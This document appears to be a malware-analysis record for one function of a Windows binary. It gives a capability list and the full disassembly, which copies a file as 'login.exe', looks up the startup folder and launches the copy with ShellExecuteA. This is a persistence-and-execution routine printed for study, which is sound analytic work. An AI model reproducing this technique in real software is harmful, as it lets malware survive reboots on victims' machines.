Function at 0x4041ef
Capabilities:
Copy file
Create process on windows
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov eax, 0x4053b8
call fcn.00404c90
sub esp, 0x130
push ebx
push esi
mov esi, 0x4094b4
push 0x409334
lea eax, [ebp - 0x18]
push esi
push eax
call sub.MFC42.DLL_operator_1
xor ebx, ebx
push 0x4094cc
push 0x4091e8
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Replace_1
lea eax, [ebp - 0x14]
push eax
call fcn.004044f6
pop ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MFC42.DLL_operator
push dword [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.004040ac
test al, al
pop ecx
jne 0x40429c
push 0x409330
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
push dword [ebp - 0x10]
call fcn.004040ac
pop ecx
lea eax, [ebp - 0x10]
push str.login.exe
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_operator_1
push ebx
mov byte [ebp - 4], 4
push dword [ebp - 0x1c]
push dword [0x4094b0]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
lea eax, [ebp - 0x13c]
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0x2c]
push eax
call sub.MFC42.DLL_CString::CString_1
lea eax, [ebp - 0x2c]
push 0x409320
push eax
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 4], 5
call sub.MFC42.DLL_operator_1
push esi
push eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 6
push eax
call sub.MFC42.DLL_operator
push 0x409310
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString_3
push dword [0x4094bc]
mov eax, dword [0x4094b4]
mov byte [ebp - 4], 0xb
push eax
push eax
lea eax, [ebp - 0x20]
push 0x4092e4
push eax
call sub.MFC42.DLL_CString::Format
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x10]
push ebx
push dword [ebp - 0x1c]
call fcn.00404439
add esp, 0x28
lea eax, [ebp - 0x10]
mov ecx, 0x4094ac
push eax
call sub.MFC42.DLL_CString::operator
push 0x44f0b5
call fcn.0040417e
mov esi, 0x4092e0
mov dword [esp], 0x4094b0
push esi
lea eax, [ebp - 0x34]
push eax
call sub.MFC42.DLL_operator_2
push esi
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 0xc
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 5
push dword [ebp - 0x10]
push eax
push dword [ebp - 0x1c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
leave
ret